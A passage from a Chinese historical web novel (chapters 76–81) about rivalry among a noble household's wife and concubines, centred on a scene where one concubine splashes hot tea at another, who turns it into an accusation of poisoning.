“都说容貌越是艳丽的人越要穿素色的衣裳,你这人不仅容貌艳丽,你这样子和心思比别人又不一样了些,就得‘痴’一些,才能让人放心。” “不过,我瞧着你是真‘痴’,还是得聪明一些。好在无论如何,你还是把爷给绕回来了,很好……你接着说,你说爷没白忙乎……” 柏芷兮在心里松了口气,她这关算是过了:“妾想说爷现在付出的这些,将来都会得到回报,不是白忙乎。可是要说这只是付出、回报什么的,妾也觉得不尽然。” “爷眼下得到的回报,就像外面的伙计挣了些辛苦银子,爷的大回报是要等到很多年以后的。爷能够耐得住辛苦,忍得了这当中许多事儿,一直这么多年下来,爷很不容易,心性也很坚韧。” 第76章 高明的姚小娘 在这一点上,柏芷兮对姜奕辰由衷地佩服:“很多人一开始的时候都会说自己忍得了也等得了,可中间受了些苦,看到别人都有所成就了,自己却收效甚微,便忍不住了。” “可是爷不仅现在忍住了,妾瞧着以后他也是一个忍得住的。要让妾说,爷这些年不容易,比那些有同样经历的人还要不容易。” “因为爷生下来就是侯门公子,从小锦衣玉食,论起落差和对将来的指望,他都比好多人大,这样心里会更不好受吧……” 这些个锦衣玉食的公子内心里对这样的落差要更敏感、更脆弱些,这中间一旦觉得不甘了,不想受这份憋屈了,就可能放弃。 反正他们就算半途而废了,也一样能过上衣食无忧的生活,大不了就是心无大志一些,混吃等死也一样能过得不错。 更何况姜奕辰的退路还比好些人要多一些,他的母家就是皇商,他又擅长经商,就算放下定安侯府这一大摊子事儿不管了,他被姜定武逐出家门了,也仍然有一条富贵路可走,这条路还是他喜欢的。 可是他一直都没有放弃,这就很不容易了,要是换到她自己身上,易地而处,反正她是做不到的。 柏芷兮这个人心里没有什么远大的目标,她对别人的要求也不高,因此她不会拿姜奕辰跟什么伟大的人物比,她只把他跟她知道的为数不多的那些人比。 这么一比,钦佩和满足的感觉很快就溢满心头,跟着这么一个主子好好干,将来总是不会太差的。 柏兰姵不动声色地观察着柏芷兮,看着她脸上那带着崇拜感的灿烂,她不觉也笑了。 都说揽月苑出来的姑娘事故,可柏兰姵冷眼瞧着,要说规矩、手段,是比寻常人家出来的姑娘多些,可是知进退、有分寸,才是她们身上最适合这内宅的东西。 可现在,她发现柏芷兮身上有一股子纯净和天真,也是别人没有的,而且柏芷兮并没有意识到自己身上有这份纯净和天真,这让她看上去反而多了一种别人身上没有的满足感。 她也算是明白为什么柏芷兮做起事来那么不紧不慢的了,这人就是太容易满足了,永远都觉得自己过得还不错,该知足了。 柏兰姵开始琢磨该如何调动起柏芷兮的斗志了,得让她觉得有什么东西是值得她去争取的才是,不能总是甘于当一个妾室。 遇上这样的底下人做主子的也很难做,底下人太有野心了,将来说不准就要觊觎主子的位子,就算受到一些条件的限制,觊觎不了,也得跟主子争别的,弄得主子想过个安生日子都不行。 可要是这人太没野心了,就难免要主子戳一下她才动一下,她很难会有那种扑上去对着敌人一通撕咬的冲动。 柏兰姵心里有一种预感,要是柏芷兮能有了那样的斗志,就是再来两个姚初蕊,也没什么大不了的。 好在柏芷兮现在年纪小,对姜奕辰有着一种仰望式的崇拜,而年轻还有作为的男人尽管已经收获了很多来自亲长和外界的认可和赞美了,也不会拒绝有这样一个美好的小女子用如此仰慕的目光看着他。 在没想到如何激起她的斗志之前,柏兰姵决定一定要维护她的这份纯净和美好,她故意让自己的语气听起来轻松了很多,趁着柏芷兮说得兴起,自然地问道: “你想到的另一个人是谁?他也很不容易?”这该不是要说姜定武或是徐氏了吧。 柏芷兮不知道柏兰姵已经猜到了别人头上,直接就把心里想的说了出来:“就是姚小娘啊,妾刚进门的时候便想,姚小娘这般出身,即便要做妾维系姚家和侯府的关系,她也可以嫁给世子爷呀。” “她没嫁,却嫁给了爷,可世子爷毕竟还是她的亲表兄。要说这表兄妹之间也是亲的,那要是世子爷和爷意见相左甚至起了冲突了,姚小娘夹在中间得多难做啊。” “妾自进门以来,上下走动,尤其是在大厨房那边听到过不少传言。可这些传言里没有一句是姚小娘帮着世子爷却没有帮爷的。” “这么多年来,至少大事儿和能到闲言碎语上的一件都没有,这得多难得啊。这样的话,要么就是她真的从没偏帮过自己的亲表哥,对爷一片痴心,天地可鉴。” “要么就是她是帮过的,只不过她做得很高明,让所有人都没有意识到,或是事后掩盖了过去,让所有人都没有发现。可无论是哪一种,她都很不容易,很不容小觑。” 姚初蕊嫁进来都有八年了,这八年里就算她没有主动帮过姜奕德什么,难道姜奕德就不会找她帮忙了? 姜奕德是姚家的血脉,但他的利益却并非完全跟姚家的相等,东院儿那边妻妾成群,花银子大手大脚的,公中给的那些份例根本就不够。 但凡姜奕德不想每次都手心向上向徐氏和姜奕辰开口,他就一定会私下想办法,就算不是次次都需要姚初蕊出手的,也至少会有那么几回吧? 可是姚初蕊在这种事儿上,要么她就是压根儿没向姜奕辰开过口,转而用其他方法安抚了姜奕德。 要么就是她也向姜奕辰提过要求,只是她的要求都不过分,以至于姜奕辰随手就给办了,一点儿水花儿都没落下,因此外人才一点儿都没察觉到。 要是前者,说明姚初蕊对姜奕辰一片痴心,不忍心用姜奕德和姚家的事儿让他为难,一切都自己默默承担了。 要是后者,则说明姚初蕊是一个手段高明的女人,她还能够恰如其分地提出她的要求,让姜奕辰、姜奕德、姚家和她自己都满意,这得是一个多周全的人啊。 柏兰姵听着听着眉头就皱了起来,她竟然从来没有往这个角度想过。她对姚初蕊的了解要比柏芷兮深得多,她认为……这两者都有。 姚初蕊是个有手段的,可要说她的手段能做到面面俱到的地步,她倒并不觉得,可要是再加上一腔痴心,二者并行,却未必达不到这样的效果。 第77章 痴心一片,太难得 柏兰姵在心里大叫不好,嘴上却半点不露,只是饶有兴味地问道:“你觉得姚小娘可是对爷痴心一片?” “这……妾也不能钻到她心里去看,要是就用眼睛这么看的话,爷应该觉得她有痴心吧。”柏芷兮不动声色地回道。 她说了这么多,就是想让柏兰姵认清楚姚初蕊最大的手段就是那看起来存在的痴心。 后宅之争,看起来是女人们的角斗,可说到底男人在胜负当中有更大的决定权,除非抓住了对方致命的把柄,否则将来男人说上几句话就可能让结果逆转。 这个男人为什么要为这个女人说那几句话呢?如果不是出于利益和子嗣,那便是这个女人对他是有真心和情意在的。 不管姚初蕊对姜奕辰究竟有多少真心在,她撒娇做痴的做派就是像极了一个满怀痴心的女人。 这样的一个女人,还为姜奕辰生儿育女了,而且这个孩子在很长一段时间里还是他的独子,这份情意在将来的任何时候都可能能救她一命,助她挽回败局。 试想一下,姚初蕊夹在姜奕德、姚家和自己的夫君之间,还拖着一个眼睛看不见的孩子,她得多为难,可是再为难她都没有在姜奕辰面前抱怨过这些,这份情意得多难得! 姜奕辰不是不厌烦她那些胡搅蛮缠的举动,不是不为她疏忽了儿子而动气,可是想到她的这份痴心,他还能计较什么呢? 要是现在柏兰姵也有这么一个双目失明的孩子,也疏忽了这个孩子,姜奕辰会觉得这是因为她忙于打理后宅之事无暇顾及,再或是她见这孩子不得用,便没放在心上了,从而心生厌烦。 可是换到姚初蕊头上的话,因为她的一片痴心,姜奕辰很可能认为一个因情儿动、为情而活的女人在现实生活里疏忽了这些琐碎的事是正常的,她一颗痴心都扑在了他身上,她是那般的不容易,这些事儿都是可以原谅的,这就是当中的区别…… 柏兰姵的神情有那么一阵的不正常,她往日就觉得姜奕辰偏心,她辛辛苦苦地操持一切,还用着柏家的人脉替他和侯府铺路,他却对她总是只有夫君和主母之间的敬重,经常都是一副公事公办的样子。 她偶尔有所疏忽,做错或是遗漏什么,他虽然不至于严厉地说她,可对她也少有包容,很少会说一句“你也不容易,这便算了吧”。 可是到了姚初蕊那儿,姚初蕊明明帮不上他什么,还经常给他们西院儿添乱,更是在她这个主母面前屡次要强、挑衅,他却她体贴姚初蕊的不容易,好像姚初蕊受了天大的委屈似的。 还有姜士明的眼睛,柏兰姵敢对天发誓,这事儿根本跟她没有一点儿关系,迄今为止,也没有哪位郎中说过姜士明天生不能视物是被人下毒所致,可是他总是表现得这件事她也有责任一样。 这以后要是再发生点什么,还不知道要怎么怪罪到她头上呢! 这一切原来有大半都是那所谓的痴心作祟,姚初蕊那娇蛮的做派反倒保护了她,看来在姜奕辰面前还是不能太懂事、精明了…… 柏兰姵这时再看柏芷兮便又觉得顺眼了几分,柏芷兮没什么大智谋,却是个心思细腻的人,而且她也很会利用她身为女子的优势。 而且姚初蕊撒娇做痴的那套到底还是有惹人厌烦的风险的,柏芷兮这样的反而更安全,她这样的性子,将来做孩子的生母也不算丢了孩子的脸。 只是……柏兰姵还是忍不住要提点她几句,她得多教她一些,这样将来才好做她的臂膀: “她这一腔痴心已经让爷腻在她那儿了,你若再做这痴心的样子,反而有了仿效的嫌疑。情不能出于自然,便失去了它的可贵之处。” “你这一腔痴心放在厨艺上如今看来倒也是歪打正着了,做得不错,这几天府里议论你身世已经不多了,他们都在说你跟大厨房的事儿,这倒也是好的。” “出身这东西固然重要,可也不可能拿来一辈子说事儿。这一点你可别学姚小娘,都多少年了,还在说她的出身堪配正室的位子,说这些又有什么用呢?” “等你在府里站稳了脚,再生下了子嗣,还说出身做什么?不过你得记着,你这腔痴心若一味地扑在厨艺上,爷恐怕就会觉得你愚钝了。” “男人么,都有好为人师的一面,你钝一点、笨一点,他肯教你,你们一来一去的,也是个意趣。可你若是太笨了,他就会觉得与你话不投机半句多,觉得你无从拯救了。” “到时候他厌了你、离了你,你再想把他拉回来,告诉他,你不是这样的,他也可能不信的。” 一个男人会喜欢这个女人初见时的纯善和天真,可是相处的久了,见这女人还是这样,一点成长都没有,甚至还需要他为她操劳一辈子,还有几个男人能有那样的耐心,一直等着这个女人转变呢? 柏芷兮喉间吞咽了一下,脸上就有些红了,只是她这尴尬地样子多少有些可爱:“夫人说的是,妾受教了,妾现在也在愁这事儿。” “爷已经提了两回要尝尝妾的手艺了,妾要是这就给他做了,难免要被人说之前的所作所为都是惺惺作态。要是不给他做,又担心他恼了妾。” “妾是真真的为难,都不知道该怎么办才好了。夫人,妾刚刚说的只是这些日子自己想到的,做不得真,您别往心里去,听听就好了。” “不,有些话你说得很对,哪个男人不希望自己的女人对自己痴心一片呢?” 柏兰姵笑了,今日说了这番话之后,她跟柏芷兮的距离拉近了许多,她头一回理解了父母为何要把柏芷兮认做养女送进来,而不是直接买了送来。 至于姚初蕊,愿意痴心一片就继续吧,就像刚才她对柏芷兮说的,过犹不及。 姜奕辰不是那等被人哄着就会一直盲目下去的人,等再过上几年,他发现姚初蕊仍然只会这一套的时候,他还会继续宠她? 第78章 两颊飞红 姜奕辰自己就是个喜欢不断取得进益的人,他虽然没明确要求过自己的女人也这样,但以柏兰姵对他的了解来看,就是这么一回事。 一个女子进门的时候二八年华、天真烂漫、什么都不懂这是正常的,可若是再过五年、十年的还这样,活得跟个老姑娘似的,俗物不通,人情不懂,到时候男人也会觉得累。 还有像柏芷兮这样的,她要是再过十年还是这样,也是不行的,到时候她就得成长成温良贤淑能辅助正室打理内院的小妇人才行。 柏兰姵便继续道:“她这份痴心,爷自然是喜欢的,我这年纪了再来什么痴心,那就要闹笑话了。可你不一样,你这个年纪,该有的痴心还是要有的。” “你从前那般出身,男女之情上难免比别人看得透些,这是好事儿,可这好也只能停留在你心里,除了咱们姐妹私下里说说,对着爷的时候还是不要表现出来的好。” “你还小,有些事还不懂,从前学的是技艺,不是人情世故,有些事儿还是得你自己慢慢揣摩……你要这样想,哪个男人不想被你这样的女子倾慕呢?你若是对他没有痴心,一切都能理智对待,他会怎么想?” 柏芷兮愣住了,之前她心里还有一些窃喜,因为柏兰姵没有留意到的东西她留意到了,还用一种不至于让柏兰姵生气的方式说了出来。 可现在柏兰姵提点的才真真地打到了点子上,揽月苑教她的只是技艺,告诉她什么情况下她该怎么做,却没教会她该怎样动情,或是在人们眼里怎样表现出她的情。 夫主和妾室,夫主可以只把妾室当作繁衍子息的工具,可是反过来,妾室不能只想着跟夫主生下孩子,她还不能对夫主一点情意都没有。 毕竟哪个男人不想被他的女人爱慕呢?要是这个女人对他一点意思都没有,岂不是说明他自己的魅力有问题?他是不愿意承认他弱的。 事实上,不要说是妾室,就是一个寻常的丫鬟,再尽忠职守,要是看着主子连一个不经意间地闪神和满面飞红都没有,只能说这男主子的魅力差了些。 柏芷兮反倒是被柏兰姵说得羞了起来,两颊飞红,她喏喏地道:“夫人说的是,妾其实觉得爷挺好的,就是说不出口……” 扑哧,柏兰姵笑了出来,指了指她道:“你啊,就是这个样子,你什么时候能这样看着爷,她姚小娘再怎样也拉不走他了。” “爷也是有福气,能被你这样的美人儿倾慕着,你得对他好一些,做一些他的女人该做的事儿……” “夫人,姚小娘到了。” 柏芷兮刚想再谢谢柏兰姵的提点,外面玉棋就通报了,一听声音里带着几丝幸灾乐祸,就知道姚初蕊定是带着气来的。 姚初蕊颇为敷衍地给柏兰姵见了礼,然后昂着下巴、垂着眼看着柏芷兮向她见了礼,才落了座。 柏芷兮刚要在下首处她的位子上坐下,就听姚初蕊笑中带着厉色地唤住她:“等等,先别坐,近前来,让我瞧瞧。” 柏芷兮不明所以,但还是依照她说的向前走了两步:“姚姐姐这是……妾这衣裳是前日才做的,说是南安都时兴的新样子,不过对姚姐姐来说,想必也没什么稀罕的。” 姚初蕊先是没说话,她只慢条斯理地端起手边的茶,喝了一口便说凉了,然后手一扬,一盏茶都泼到地上,这一泼刚好就是柏芷兮的脚尖前头: “哎呦,没看见芷小娘站那儿了,没事儿吧,茶凉了,弄不伤你。要我说什么好呢,我这人没走,茶就凉了。” 凉什么凉,根本就是热的,只是这会儿刚刚入秋,天还不凉,水热着也看不出白气来。 柏芷兮只觉得脚尖处被热水烫了,鞋袜很快就贴在了自己的脚背上,一会儿脱了鞋袜看,这块儿皮肉定是要被烫伤了。 可是她这时也不好声张,更不能跟姚初蕊争这茶究竟是冷是热,说是冷的吧,倒茶的侍女就要被追究过错,这可是柏兰姵这儿的人,总不能因为她受了连累。 说是热的吧,那便是说姚初蕊说谎了,姚初蕊定会闹着查下去,等到茶的时候地上和她鞋袜上的茶水早就凉了,还查什么查?传出去只会说她无理取闹。 柏芷兮这些天好不容易让这府里议论她出身的声音小了,议论她厨艺的声音多了,要是被姚初蕊指责她诬陷,前些天的好名声立刻就要遭到质疑。 很快这府里的人就又会说她果然是揽月苑那种地方出来的,就是满腹心机,只会以色侍人,还会用那种肮脏、下作的手段。 柏芷兮要不是刚才才被柏兰姵提点了一番真就要跳起来叫两声了,可这会儿她的脑子正处在一种空前的冷静状态里,整个人又还没完全从那满面飞红的状态里走脱出来。 她只委屈地看了姚初蕊一眼,然后柔柔弱弱地往旁边一倒,作势就摔倒在上前来扶她的秋寒身上。 “小娘,你有没有事?是不是被烫到了?” 秋寒说话时暗暗往柏兰姵那边看了一眼,她是柏兰姵给了柏芷兮的人,可她的父母兄弟都在柏兰姵这边的管事手下做事,她骨子里自然还是柏兰姵这边的人。 这会儿眼看着姚初蕊故意惹事儿,她怎能不把事儿挑起来,好给柏兰姵发落姚初蕊的机会。 这种时候,只要柏芷兮配合着说自己被烫到了,她再借机发难,就可以了。 柏芷兮刚才就势倒下,就连柏兰姵都以为她是要借此生事了,谁知道柏芷兮像是受了惊吓似的就要就着秋寒的搀扶爬起来: “是妾失礼了……都是妾不好,没想到姚姐姐这是想试一试妾遇事能不能临危不乱呢,还以为姚姐姐要拿什么泼妾,也不想想就是一盏查而已。” 不是茶是什么?难不成还是毒酒、毒水不成? 柏芷兮这会儿的样子还真就像她被毒水泼了似的,她慌乱地接了秋寒手里的帕子,乱七八糟地擦了脸和手,连头发上都沾了好几下,生怕被溅到似的。 第79章 被泼热茶 姚初蕊都被柏芷兮这样的举动惊到了,这就是污蔑,她立刻站起来厉声指责道: “你这副矫揉造作的样子给谁看呢?就是一盏茶水而已,最多就是热了些,当着夫人的面,我还能给你下毒不成?” “夫人,你看看,这就是你的好妹妹,这就是你们柏家的好教养!” 谁都知道柏芷兮不是柏家亲生的,也都知道她是哪儿来的,姚初蕊偏偏就要这么说。 没等柏兰姵开口,柏芷兮就先委屈巴巴地说了:“姚姐姐,是妾说错什么了吗?妾没有别的意思,姚姐姐比妾年长,还先进门,又是贵妾,想要考验一下妾也是人之常情。” “是妾小家子气、胆子小,没经受住姚姐姐的考验,怎么就扯到夫人头上去了?这茶是夫人屋里备下的不假,可夫人也没叫姚姐姐考验妾啊。” “你要怪夫人没教好妾,那夫人是不是也可以怪你擅作主张?还有什么毒……要是姚姐姐担心妾污蔑你先在茶水里下了毒才来泼妾的,那就……” 她像是不知道该怎么办又突然想到了解决办法是的,“那就把府医请来,这地上还有茶水没干,妾的鞋袜也是湿的,都可以查验。” “府医验了没毒,正好可以还妾一个清白,证明妾没有污蔑姚姐姐的意思……” 说完柏芷兮还仿佛忍不住似的呜呜了两声,然后立刻被呜咽声咽了回去,一时没收住,竟然还连着打了两个嗝,死命压抑着才忍住了。 秋寒没反映过来柏芷兮这是要干嘛,直接说姚初蕊把她烫伤了,不就行了,还说什么考验不考验的。 要是平时在芷春居里,秋寒肯定要劝柏芷兮多尊着柏兰姵些,凡事让柏兰姵做主,可现在柏芷兮这副柔弱、慌乱的样子,像是真的被吓住了。 按理说这事儿不至于,不过是突然泼了一盏茶水到地上,就算柏芷兮胆子再小,慌乱、心悸一会儿也就过去了,哪里就这般严重了。 可看柏芷兮这样子,要不就是她其实胆子很小,真就被吓着了,要么就是有大戏要唱。 秋寒不管别的了,横竖现在柏芷兮才是她名义上的主子,她帮着主子总没错,她先将柏芷兮扶回位子上坐下,一边为她拍背一边道: “小娘是真吓到了,姚小娘,我们主子胆子小,不禁吓,况且这算是哪门子的考验?我们小娘就是个娇娇弱弱的小娘子,一不掌家理事,二不出去读书、考功名,要那么镇定做什么。” 姚初蕊一听秋寒也这么说,立刻更怒了:“你这小蹄子,才跟了她几天,也变得这么放肆了!夫人,妾可没害她,就是一盏茶而已,你们姐妹要是想冤枉人,妾立刻就去找爷做主。” 又要来这套了? 柏兰姵眼底闪过一抹冷意,面上却是公正、和善的:“姚妹妹别动怒,她也没说什么,你是她前头的,突然泼一盏热茶下去,她以为你在考她会不会慌乱,也是有的。” “这……我还记得妹妹你刚才还说这茶是冷的,这会儿又说可能是热了些,这到底是怎么回事呀?这茶是我屋里的人沏的,也是她们上的,这一会儿冷了一会儿热了的,我都不知道该不该罚她们了。” 茶水是冷是热都是姚初蕊一个人说的,前后反复,已经让她不能取信于人了。 这时候柏兰姵又很有各打五十大板的意思,转头便对柏芷兮道,“你也是的,她就算吓着你了,也不至于如此。既然那水是热的,烫着没有?要不要找府医看看?” “你这大呼小叫的,要是姚妹妹告诉了爷,爷也该说你一惊一乍地小题大做了,小心爷罚你。” 既然姚初蕊已经承认茶水是热的了,她就算不是故意泼伤柏芷兮的,这也是误伤,刚好见坡下驴,找府医看看,验了伤了,正好把姚初蕊给罚了。 这时候只要柏芷兮点个头就可以了,柏兰姵、秋寒和她们这边的人都期待地看着柏芷兮。 柏芷兮却没有松口的意思,她甚至一眼都没看柏兰姵,只目光闪烁地一会儿就看姚初蕊一眼: “妾已经没事了,刚才本来也只是受了一点惊吓,还是被姚姐姐说的什么毒水吓到了。妾有没有烫伤是小,这会儿隔着鞋袜,也感受不真切。” “倒是这毒不毒的……妾怕,姚姐姐你别误会,妾不是怕你下毒,这儿是夫人的正屋,你要是敢在这儿下毒,岂不是没把夫人放在眼里,说出去也没人信。” “可是妾怕这话是姚姐姐自己说出去的,传出去这话就走了样,万一有人说你就是这样做了,或是说妾就是这样诬陷姚姐姐你的,那妾可就真是洗不清了……妾出身不好,万一有人说妾把外头的坏毛病带进府里了,那还让妾怎么活。” 柏芷兮又低低地打起了嗝儿,一看就是真被吓到了,是真的怕了。 下毒的话也是姚初蕊自己说的,吓住柏芷兮的可不是这一盏茶,而是这些话。 今日只是来请个安而已,就扯到了下毒上,这不是诬陷是什么?她姚初蕊原本是大家闺秀,现在是有子嗣的四房贵妾,她能有什么阴私手段,要有也只能是柏芷兮有,是柏芷兮意图陷害她! 这屋子里发生了什么只有这几个人知道,可是话一旦传出去,传着传着可就走了样儿了。 有些谣言是怎么来的?就是抓住一件事、一段话里的几个关键的词,然后颠三倒四、张冠李戴、添油加醋造出来的。 今日这些话传出去,别人只会说有人在茶水里下了毒了,姜奕辰的一个妾泼了另一个妾一身。 那么请问在这段谣言里,姚初蕊和她柏芷兮究竟哪一个才是那个下毒和用毒水泼人的人呢? 柏芷兮不想做这个吃亏的人,这种时候她也要把处置事情的主动权交到柏兰姵手里。 呵,烫伤她,还想污蔑她,想得美。泼水变下毒,她倒要听听今日之后这段传言里谁才是毒妇……用她被烫伤的这块儿皮换姚初蕊自泼一盆污水,值! 第80章 谁吃哑巴亏? 秋寒和玉棋对视了一眼,她们还没完全反应过来,可心里也多少明白了一些,柏芷兮不想乖乖地被泼这盆脏水,一定要立刻把这污名摘下去。 往日里姚初蕊也不是没干过这种事儿,西院儿的妾室不多,陶丝绣又志不在此,姚初蕊就总抓着那些生得好看些的丫鬟收拾。 姜奕辰这个人在这些公子哥儿里绝对算是克、有操守的,没名没分的要是多看几眼也是因为这个人在别的事儿上能干,入了他的眼了,将来再观察观察,要是个好的,多半是会派其他差事的。 就是这样的让姚初蕊知道了,她也会找着由头的发落了对方,不是打发去了府里的杂役房,就是干脆打发了出去,左右她跟世子夫人葛氏的关系好,就是要把谁提脚卖出去,也可以绕过柏兰姵。 柏兰姵从前跟姜奕辰说过,可被发落了的丫头原就不是顶重要的人,姜奕辰看着好也只是乍眼看去的好,并不是非得用这个人不可,念着姚初蕊有孩子,孩子又看不见,中间还掺合着一个葛氏,这些事儿也就不了了之了。 为了一个姚初蕊,柏兰姵犯不上跟姜奕辰之间闹别扭,那些个打发出去了的侍女,自己又不可能来跟姚初蕊闹,弄得后宅这些个侍女心里都憋着一口气。 这会儿见柏芷兮要揪着姚初蕊不放,这一院子的侍女不管是屋里的还是廊子下、院子里站着听壁角的,都暗暗叫好。 柏兰姵是正室,这正室就得端庄、文静,姚初蕊再过分,也最多就是让她禁足半个月、一个月的,根本不能把她怎样,她们这西院就是缺一个柏芷兮这样的收拾她。 玉棋虽然不满柏芷兮这样的也能给姜奕辰做良妾,这会儿也开了口:“姚小娘,这茶和水都是奴婢几个备下的,奴婢们都是夫人屋里的人,断不敢在这种事儿上失礼。” “茶水自然是热的,哪里敢给你上冷的茶水。你要拿来发落芷小娘,也是不必下毒的,就这么泼过去,一准儿能把她给烫伤了。” 姚初蕊一看是柏兰姵身边的人开口了,尤其还是这个玉棋,她早就看玉棋不顺眼了,一看就又是个想爬主子床的主儿: “茶是不是冷的,我亲手端过的难道还不知道?定是你们疏忽了,这会儿反过来说我扯谎。茶要不是冷的,她为什么不说?你去问她,有没有被烫到?” 茶泼出去的时候当然是热的,可落了地了,中间还说了一会儿话了,自然冷了。 姚初蕊就是咬定了柏芷兮拿不出证据还立足未稳,她想着柏芷兮闹一闹也就罢了,最多就是拿几件儿东西补偿一下,之后她再到姜奕辰那儿告一状,定然还是柏芷兮更吃亏的。 柏芷兮刚进门就一点委屈都受不了,如此斤斤计较、惹是生非,不敬有子的姐妹,就算姜奕辰不罚她,也不会给她好脸色看。 姚初蕊就是吃准了姜奕辰的性子,他这个人很是在意对一个人的印象,要是他对谁初识时的印象不好了,之后就很难转变这种印象。 只要姜奕辰这段时间在柏芷兮这儿冷下来,不用天长地久,只需拖上几个月、大半年的,他就对柏芷兮彻底冷下来了。即便之后还会去柏芷兮那儿,两个人也热乎不起来了。 姚初蕊也是非要把柏芷兮盯死在说谎、诬陷的罪名上的,张口就道:“是你自己说没有被烫伤的,对不对?我说你还怀疑我给你下毒不成,我可没说是这正屋的茶本身就有毒。” “妾……是没说被烫伤了,可是鞋袜裹着,感觉不真切,不见得就没……” 柏芷兮没说完就掩面啜泣上了,只是她捂住脸的时候碰了身边的秋寒一下,还往她自己的茶盏上看了一眼。 秋寒立刻给玉棋使眼色,玉棋反应过来,端起柏芷兮桌上的茶盏道: “沏茶的水都是从一个壶里倒出来的,这一盏到现在都还热着呢,姚小娘是说你那盏特别不同一些?那可真是奴婢们慢待你了,奴婢们请夫人责罚。” 秋寒索性往地上一跪,就那样梗着脖子对着姚初蕊,别的被姚初蕊打发了的侍女有没有那种心思先不论,她是有的,她可不想将来被姚初蕊给打发了。 秋寒在一边蹲下,伸手去碰柏芷兮的鞋袜:“小娘到底有没有被烫到?隔着布料浇上热水,有时候初时是不觉得的,等回去了再看其实还是伤到了。” “这屋里都是女子,也没别人,先让奴婢给你看看,万一伤着了,正好请郎中来看看。” 柏芷兮眼看着秋寒的手指就要触到她的鞋面,她像是被触痛了一样猛地将脚缩了回去,继续呜呜地哭了起来。秋寒再问她什么,她也只是哭,哭得好不可怜。 她暗叹这两个侍女到底就是个侍女,眼皮子和道行都还是潜了些,她现在要说的是烫伤么? 不,她说的是下毒,她要的是姚初蕊对新进门的妾室痛下杀手的谣言,只要能让这样的谣言传出去,这点烫伤算什么? 一时间这屋里一个跪着,一个缩着坐着掩面而泣,还有一个半蹲着要看另一个的伤势,还有一个站起来怒气冲冲地指着这三个人气得说不出话。 姚初蕊往日里就在柏兰姵面前收拾过几个侍女,就是一开始的时候陶丝绣也被她教训过,哪一个不是忍气吞声的认了这下马威,偏就一个柏芷兮不肯认。 她就是反应再慢这时候也反应过来了,她泼了一盏茶出去的时候,这柏芷兮就举起了盘子去挡了,现在就是要把这盏茶拍回到她身上。 好在柏兰姵基本没怎么说话,想必还是要扮她那温良、贤惠的正室夫人样子的,最坏的结果也就是让她出汤药引子给柏芷兮看伤。 而且姚初蕊断定了柏兰姵不敢这么对她,谁让柏兰姵无子还身子弱呢,现在这西院儿的内务都快没精力周全了,她哪儿敢找自己的麻烦? 最后,柏兰姵一定会让柏芷兮忍下这委屈,之后由她自己安抚,总之就得是她们柏家姐妹吃这个哑巴亏。 第81章 夫人好会说话 这种时候的有孩子的就是占优势,万一自己错了,可以说这几日被孩子的事儿闹得昏了头。 没注意到,要是自己没错,那就更站得住脚了,谁敢欺负这跟独苗的娘,是没长眼睛么? 姚初蕊拿定了主意就要让柏兰姵做主,今日只要柏兰姵补明显偏帮柏芷兮,柏芷兮一定会心生怨恨,觉得柏兰姵不帮她。 即便只达到了这个效果,让她们姐妹离心,也是好的: “夫人,您在这儿光看着可不行啊,你可得为妾身做主,妾身不过是觉得茶凉了,下意识地泼了出去,就被芷小娘抓住了话头,要冤枉了妾身。” “弄得好像妾身故意要为难她似的,夫人,你就说句公道话吧。芷小娘虽说不是你的亲妹子,到底你娘家的养女,这般做派,可算不得好。” 上位者是有权力耍些小脾气的,她泼一盏茶出去,柏芷兮哪儿配跟她计较,就该受着! 柏芷兮听了这会儿也不呜呜地哭了,她不等柏兰姵有所回应,先就给自己喊起了冤: “夫人,妾也不是有意的,是姚姐姐先问妾是不是怕她下了毒了,若只是一盏茶,无论是冷是热,若是她心里一点背的想法都没有,怎就突然想到下毒上去了?” “妾又不了解姚姐姐,哪里就知道她说的是真是假。这会儿她说是假的,只是无心之举,让妾怎么相信。妾只求夫人做主,能安了妾的心,不至于让妾担惊受怕,夜里睡都睡不着。” 一般人看见对方磨磨蹭蹭地不肯上前,下意识地只会说“还怕我吃了你不成”,这都是约定俗成的话,说一个“吃”字是不为过的。 可是一开口就说下毒,这茶又是不出去的,并不是灌进柏芷兮嘴里的,就更让人觉得奇怪。 难不成姚初蕊自己或是她身边有人用有毒的茶泼过什么人?那人是被她给毁了面容了吗?这得是多浓的毒茶才能把人的肉皮儿都烧坏了…… 还别说,姚初蕊以前还真干过这种事儿,虽说具体有没有用毒谁也说不清楚,可那个侍女是坏了一只眼睛的。 玉棋和秋寒这回虽然没有出言附和,神情却明显警惕了起来,秋寒更是下意识地侧了半边身子挡在柏芷兮面前,显然对柏芷兮有了维护之意。 柏兰姵也暗叹了一句这俩丫头还是傻,就神情平和地看向了姚初蕊: “姚妹妹,不是做姐姐的要说你,你好好端端地泼芷妹妹一盏茶做什么?若像她说的你是要考校她,倒也不是不行,可她进门都有十余日了,之前敬茶的时候你们就见过,你那时不考校她,怎么偏要拖到现在?” “这就像非年非节的,也没什么喜事,你非要起社火、拜祖先,简直就是莫名其妙,芷妹妹见识少,没见过你这大家子阵势,被吓到了也是情有可原。” “你见她被吓到了,不说安慰几句,这事儿便罢了,你还说她怕了你给她下毒了不成,这就不是好话。你好歹是士明的生母,你平时该不会就是这么教士明的吧?” 柏兰姵也是个会正话反说的,只是她说话的方式更加有正室风范,更符合她的身份。 不年不节地起社火、拜祖先,这就是说姚初蕊的所作所为就是无事献殷勤非奸即盗。 柏芷兮没见识过她这样的手段,哎呦呦,柏芷兮可是揽月苑出来的,她都没见过这种手段,那这手段得多吓人啊。你姚初蕊还自诩出身呢,这就是你大家闺秀该有的手段了? 还有姚初蕊要给柏芷兮一个下马威,就说用毒水泼人这种话,这就等于在说“你要是不听话,小心我拿毒水泼你,毁了你的脸”这样的话,平时要是姜士明不听话了,她是怎么教训儿子的? 不管姚初蕊的出身如何,她现在就是一个妾室,贵妾也是妾,是不配教训身为主子的子女的,要是她平时也对姜士明这样吆三喝四的,那还得了! 姚初蕊越听越不对劲儿,刚要反驳,就听到柏兰姵又开始“打”柏芷兮那五十大板: “芷妹妹,你也有不对的地方,一盏茶下去就慌了神儿了。你现在是定安侯府聘进来的良妾,不是那等见不得光的女子,受了委屈自有爷和我为你做主,有什么可慌的?” “她说下毒大概就是吓吓你的,她胆子再大,也不敢当着我的面这么做。除非姚妹妹她是个胆大心细、专爱反其道而行之的。” “你这般咋咋呼呼的,实在上不得台面,以后还要多修身养性为好。我看你回去之后,先多抄抄《女诫》,就先抄十遍吧,抄完拿来给我看。” 正当众人都以为柏兰姵把该说的话都说完了,该说的话也都含沙射影的说了之后,这件事就将以柏芷兮被罚抄书结束的时候,就就听柏兰姵颇为点睛地道, 